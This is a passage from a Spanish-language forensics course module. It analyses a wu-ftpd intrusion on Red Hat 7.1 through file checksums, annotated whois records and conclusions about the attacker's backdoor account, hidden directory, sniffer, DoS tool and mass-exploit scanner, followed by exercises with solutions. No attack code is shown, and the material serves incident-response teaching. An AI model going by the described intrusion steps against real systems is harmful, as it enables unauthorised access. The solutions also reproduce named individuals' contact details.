0e5ca367e765319610f71eabc3afdd08 awu

5de1b020d2e7dd350b2104c54ab6899d awu.list

300eba35a5e86cdb8ad96e78d2193a6a nodupe

5b47796f7f96fb5aa2ab487900294404 nodupe.c

5b042f06d4ad7b6c6038ea7671fbd2cf nodupe.o

6d09cae5a47e4ec3e73fdaefcf547330 oops

e9c6ea1c70c86e206955b6143ac1d559 oops.c

25a1c459e8fe931a22796053edec0c32 oops.o

ca7ebe136969e0c8ff334ed55259de90 outpu

141f3e6360c2cdc07f15eb70c5c85c69 pscan2

9b2e77ee16ff2c29e08cba331d74057c pscan2.c

ce48b10a171ea61838de494d6de71d67 ss

00c112eeb5e0c42ad165463e5a81b642 ss.c

cfd225b75a44fbb82504d7dc3f62403c ssvuln

071245a9bc3b47771c12278f450114a0 ssvuln.c

92efc70ddbd865b388be9ea3f0c39001 targets

d41d8cd98f00b204e9800998ecf8427e xx3.yy3.pscan.21

En la siguiente tabla se describe cada uno de los ficheros:

Nota

Recordar que se muestra el
checksum de los ficheros para
demostrar ante posibles con-
traperitajes que dichos ficheros
no han sido modificados.
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1.7. Análisis de las IP involucradas

A continuación se muestra la información existente de las IP involucradas en

este caso.

Web recomendada

Una vez descubiertas las IP involucradas en el incidente, se busca mediante la herramien-
ta whois o mediante las webs de AfriNIC, APNic, ARIN, LACNIC, RIPE.

Se recomienda visitar la página http://www.iana.org/ [link http://www.iana.org/] para
obtener más información.

1.7.1. 192.168.1.105

% Information related to '192.168.1.0 - '192.168.1.255'

inetnum1: 192.168.1.0 - 192.168.1.255

netname2: ZZZZZ

(1)Nos muestra el rango de IP al
que pertenece la red.

(2)Nos dice el nombre de la red (RI-
MA, UOC, UDC, UVIGO, etc.)

http://www.iana.org/
http://www.iana.org/
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descr3: ZZZZZ

descr: Rula de Abaixo

country: ES

admin-c: OFA999-RIPE

tech-c: MJP000-RIPE

status: ASSIGNED PA "status:" definitions

mnt-irt: IRT-ZZZZ-CERT

remarks4: mail spam reports: abuse@zzzzz.es

remarks: security incidents: cert@zzzzz.es

mnt-by: zzzzz-NMC

source: RIPE # Filtered

irt: IRT-ZZZZZ-CERT

address: ZZZZZ-CERT

address: Dep. ZZZZZ

address: Entidad Publica Empresarial zzzzz.es

address: Edificio Ouro

address: Plaza Pepeluis, s/n

address: E-30200 Rula de Abaixo

address: Spain

phone: +34 600 000 000

fax-no: +34 980 000 000

signature: PGPKEY-aaaaaa

encryption: PGPKEY-aaaaaa

admin-c: TI999-RIPE

tech-c: TI000-RIPE

auth: PGPKEY-aaaaaa

remarks: emergency phone number +34 600 000000

remarks: timezone GMT+1 (GMT+2 with DST)

remarks: http://www.trusted-introducer.nl/teams/zzzzz-cert.html

remarks: This is a TI accredited CSIRT/CERT

irt-nfy: cert@zzzzzz.es

mnt-by: TRUSTED-INTRODUCER-MNT

source: RIPE # Filtered

(3)Nos dice a quién pertenece la
red (Universidad de Vigo, Telefóni-
ca, etc.)

(4)Nos muestra los correos electró-
nicos por temas de spam, así co-
mo si hubiese un incidente de se-
guridad. Por tanto, nos informa de
a dónde podemos dirigirnos cuan-
do se den estos tipos de inciden-
tes. También muestra números de
teléfono de emergencia, etc.

person5: Jose Luis Rivas

address6: Edif. Ouro

address: Plaza Pepeluis, s/n

address: E-30200 Rula de Abaixo

address: SPAIN

(5)Nos dice el nombre de la perso-
na de contacto.

(6)Nos informa de la dirección de
contacto.
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phone7: +34 980000000

fax-no: +34 980

nic-hdl: OFA999-RIPE

abuse-mailbox: abuse@zzzzz.es

mnt-by: REDIRIS-NMC

source: RIPE # Filtered

person: Eva Taboas Rodríguez

address: Edif. Ouro

address: Plaza Pepeluis, s/n

address: E-30200 Rula de Abaixo

address: SPAIN

phone: +34 980000000

fax-no: +34 980

nic-hdl: MJP000-RIPE

abuse-mailbox: abuse@zzzzz.es

mnt-by: REDIRIS-NMC

source: RIPE # Filtered

1.8. Conclusiones

Tras el estudio se puede llegar a las siguientes conclusiones:

(7)Nos dice el teléfono contacto.

1) Este sistema ha sido objeto de un ataque logrando acceso como administra-

dor del sistema explotando la vulnerabilidad CVE-2001-0550 del servicio ftp

(wu-ftpd). Dicha vulnerabilidad afecta a equipos con el sistema operativo Red

Hat 7.1 Seawolf entre otros.

2) El atacante instala el wget para poder bajar malware vía una línea de co-

mandos.

3) El atacante crea dos cuentas: una con privilegios de superadministrador con

el nombre de entrada pepe y sin contraseña; también crea otra cuenta con el

nombre de entrada evallejo y sin privilegios.

4) Después crea un directorio oculto /root/.aw/ en el que descarga una serie

de programas maliciosos y los prepara para poder ejecutarlos:

• Smurf6-linux+LPG: se trata de un software en C que provoca una denega-

ción de servicio.

• Sniffer: se trata de un sniffer escrito en perl. Los sniffers son programas que

capturan todo lo que pasa por la red, pudiendo éstos ser selectivos captu-

rando sólo lo que uno quiera. Por tanto, dichos programas equivaldrían a

Web recomendada

http://
www.securityfocus.com/bid/
3581/

http://www.securityfocus.com/bid/3581/
http://www.securityfocus.com/bid/3581/
http://www.securityfocus.com/bid/3581/
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hacer un pinchazo telefónico. Se utilizan para capturar a los usuarios con

sus respectivas contraseñas entre otras cosas.

• Awu: se trata de un scanner que automatiza la intrusión en los sistemas

con el servicio wu-ftpd vulnerable.

5) Finalmente, ejecutamos el sniffer sin capturar ninguna contraseña, y reali-

zamos un ataque mediante awu a la subred 172.168.0.0/16 para hacer más

intrusiones.
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2. Paso a seguir a posteriori

Una vez entregado el informe al director técnico o al responsable de seguridad,

tendrá que determinar qué pasos seguir. A continuación se enumeran algunos

de los pasos recomendados.

1) Denunciar a la autoridad competente.

2) Solventar las vulnerabilidades descubiertas que han sido utilizadas para

poder atacar los sistemas.

3) Rediseñar la arquitectura de la red/sistemas si ésta ha sido la causa de dicho

ataque, de la tardanza de la detección, etc.

4) Actualizar los sistemas de la organización o de la empresa.

5) Comprobar que no existen otros equipos involucrados.
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Resumen

En este módulo se describe un caso práctico de una intrusión en un sistema,

así como la realización del informe del análisis forense. Para ello:

• Se explica cómo afrontar la adquisición de los datos así como su análisis

e investigación.

• Se explica la preparación del entorno de investigación.

• Se realiza un ejemplo de informe del incidente.
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Ejercicios de autoevaluación

1. Id a la página de Security Focus y buscad información sobre las últimas vulnerabilidades.

2. Localizad en Security Focus todas las vulnerabilidades existentes en el producto Microsoft
IIS 6.0.

3. Buscad un sistema Red Hat 7.1 donde se encuentra la configuración del huso horario.

4. ¿Qué vulnerabilidad es CVE-2008-008?

5. Obtener información sobre la IP 213.73.40.45.
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Solucionario

Ejercicios de autoevaluación

1. Para localizar las últimas vulnerabilidades en SecurityFocus, basta con ir a http://
www.securityfocus.com/vulnerabilities, donde nos encontramos con un buscador de vulne-
rabilidades y justo debajo, las últimas vulnerabilidades.

2. Para encontrar las vulnerabilidades detectadas en ese producto, hay que desplegar el menú
en Vendor y seleccionar Microsoft. Después en el menú desplegable title, seleccionar IIS y
finalmente en Versión poner 6.0.

3. Dicha configuración se encuentra en /etc/sysconfig/clock.

4. Dicha vulnerabilidad tiene que ver con una escalada de privilegios locales, publicada por
primera vez el 25 de enero del 2008. Para descubrirlo, podemos actuar de varias maneras.
Una de las fuentes, como antes ya hemos comentado, es: http://www.securityfocus.com/vul-
nerabilities [link http://www.securityfocus.com/vulnerabilities] y basta con poner en CVE lo
solicitado y después hacer clic en submit.

5. Tenemos dos maneras de obtener la información. Mediante el comando whois IP en sis-
tema Linux o mediante la web http://www.ripe.net y en "RIPE Database Search" teclear IP y
pinchar GO. La información obtenida debería ser la siguiente:
% Information related to '213.73.32.0 - 213.73.41.255'
inetnum: 213.73.32.0 - 213.73.41.255
netname: UOC-NET
descr: UOC Data Network
country: ES
admin-c: MC4663-RIPE
tech-c: MSC25-RIPE
tech-c: MC4663-RIPE
status: ASSIGNED PA
mnt-irt: IRT-IRIS-CERT
mnt-by: AS15633-MNT
source: RIPE # Filtered
irt: IRT-IRIS-CERT
address: IRIS-CERT
address: Dep. RedIRIS
address: Entidad Publica Empresarial Red.es
address: Edificio Bronce - 2a planta
address: Plaza Manuel Gomez Moreno, s/n
address: E-28020 Madrid
address: Spain
phone: +34 607 156313
fax-no: +34 91 556 8864
e-mail: cert@rediris.es
signature: PGPKEY-88A17FF5
encryption: PGPKEY-88A17FF5
admin-c: TI123-RIPE
tech-c: TI123-RIPE
auth: PGPKEY-88A17FF5
remarks: emergency phone number +34 607 156313
remarks: timezone GMT+1 (GMT+2 with DST)
remarks: http://www.trusted-introducer.nl/teams/iris-cert.html
remarks: This is a TI accredited CSIRT/CERT
irt-nfy: cert@rediris.es
mnt-by: TRUSTED-INTRODUCER-MNT
source: RIPE # Filtered
person: Antoni Roure
address: Universitat Oberta de Catalunya
address: Avda Tibidabo 39-43
address: 08035 - Barcelona
address: Spain
phone: +34 93 2532311
fax-no: +34 93 4176495
e-mail: aroure@uoc.edu
nic-hdl: MC4663-RIPE
remarks: Universitat Oberta de Cataluyna
source: RIPE # Filtered
person: Monica Surinyach Calonge
address: Universitat Oberta de Catalunya
address: Av. Tibidabo, 39 - 43

http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.ripe.net/
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address: 08035 Barcelona
address: SPAIN
phone: +34 93 2532300
fax-no: +34 93 4176495
e-mail: msurinyach@uoc.edu
remarks: *********************************************
remarks: For ABUSE/SPAM/INTRUSION issues
remarks: send mail to abuse@uoc.edu
remarks: *******************************************
nic-hdl: MSC25-RIPE
source: RIPE # Filtered
% Information related to '213.73.32.0/19AS15633'
route: 213.73.32.0/19
descr: Universitat Oberta de Catalunya PA Block
origin: AS15633
mnt-by: AS15633-MNT
source: RIPE # Filtered
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